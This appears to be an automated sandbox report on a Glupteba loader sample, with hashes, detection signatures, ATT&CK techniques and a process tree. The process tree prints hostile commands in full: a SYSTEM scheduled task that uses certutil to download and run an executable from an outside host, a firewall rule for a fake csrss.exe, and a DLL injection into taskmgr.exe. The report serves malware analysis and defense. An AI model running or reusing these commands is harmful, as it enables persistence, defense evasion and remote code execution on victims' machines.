glupteba | 3698d34ab2f064964dfefffbdb2a8ef461aa77d23502c046eeca59a13db008f6

General

Target

16fb6fb784a21afbb8bacec7552bd929.exe
Size

4.4MB
MD5

16fb6fb784a21afbb8bacec7552bd929
SHA1

0a6e34cf2284675c70b2456f04ff76e55bf701d0
SHA256

3698d34ab2f064964dfefffbdb2a8ef461aa77d23502c046eeca59a13db008f6
SHA512

675179bc3faefab41af4c74673544c5313b7f2e8b2b9aae8bb186b6bfa87eb42dc2435cd3bd3b42df151a121fc8d58f49dce121ea9b685dd494d37566b38f876
SSDEEP

98304:zRwU5fhKHSNcpTT/J45PhA9hLPgx8cEb73meQrWzMuq:zRwU5fhKRh4gp7vQKHq

Score

10^/10

glupteba metasploit backdoor dropper evasion loader trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

resource	yara_rule
behavioral1/memory/2872-2-0x0000000005070000-0x0000000005996000-memory.dmp	family_glupteba
behavioral1/memory/2872-3-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2872-4-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/2720-8-0x0000000004CF0000-0x0000000005616000-memory.dmp	family_glupteba
behavioral1/memory/2720-9-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/972-22-0x0000000004C50000-0x0000000005576000-memory.dmp	family_glupteba
behavioral1/memory/2720-19-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba
behavioral1/memory/972-24-0x0000000000400000-0x00000000030EF000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

pid	Process
2468	netsh.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
2276	bcdedit.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1056	schtasks.exe
1888	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\16fb6fb784a21afbb8bacec7552bd929.exe
"C:\Users\Admin\AppData\Local\Temp\16fb6fb784a21afbb8bacec7552bd929.exe"
1⤵
PID:2872
- C:\Users\Admin\AppData\Local\Temp\16fb6fb784a21afbb8bacec7552bd929.exe
  "C:\Users\Admin\AppData\Local\Temp\16fb6fb784a21afbb8bacec7552bd929.exe"
  2⤵
  PID:2720
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:2636
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    PID:972
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:1056
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      PID:2208
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:1888
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2276
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      PID:976

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231231180540.log C:\Windows\Logs\CBS\CbsPersist_20231231180540.cab
1⤵
PID:2680

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
1⤵
- Modifies Windows Firewall
PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Create or Modify System Process

1

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

1

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/972-261-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-18-0x0000000004810000-0x0000000004C4C000-memory.dmp

Filesize
4.2MB

Download
memory/972-321-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-252-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-319-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-318-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-288-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-262-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-322-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-212-0x0000000004810000-0x0000000004C4C000-memory.dmp

Filesize
4.2MB

Download
memory/972-320-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-251-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-21-0x0000000004810000-0x0000000004C4C000-memory.dmp

Filesize
4.2MB

Download
memory/972-22-0x0000000004C50000-0x0000000005576000-memory.dmp

Filesize
9.1MB

Download
memory/972-250-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-24-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-249-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-248-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/972-83-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2208-44-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2208-34-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2720-5-0x00000000048B0000-0x0000000004CEC000-memory.dmp

Filesize
4.2MB

Download
memory/2720-19-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2720-20-0x00000000048B0000-0x0000000004CEC000-memory.dmp

Filesize
4.2MB

Download
memory/2720-9-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2720-8-0x0000000004CF0000-0x0000000005616000-memory.dmp

Filesize
9.1MB

Download
memory/2720-7-0x00000000048B0000-0x0000000004CEC000-memory.dmp

Filesize
4.2MB

Download
memory/2872-6-0x0000000004C30000-0x000000000506C000-memory.dmp

Filesize
4.2MB

Download
memory/2872-4-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2872-0-0x0000000004C30000-0x000000000506C000-memory.dmp

Filesize
4.2MB

Download
memory/2872-3-0x0000000000400000-0x00000000030EF000-memory.dmp

Filesize
44.9MB

Download
memory/2872-2-0x0000000005070000-0x0000000005996000-memory.dmp

Filesize
9.1MB

Download
memory/2872-1-0x0000000004C30000-0x000000000506C000-memory.dmp

Filesize
4.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads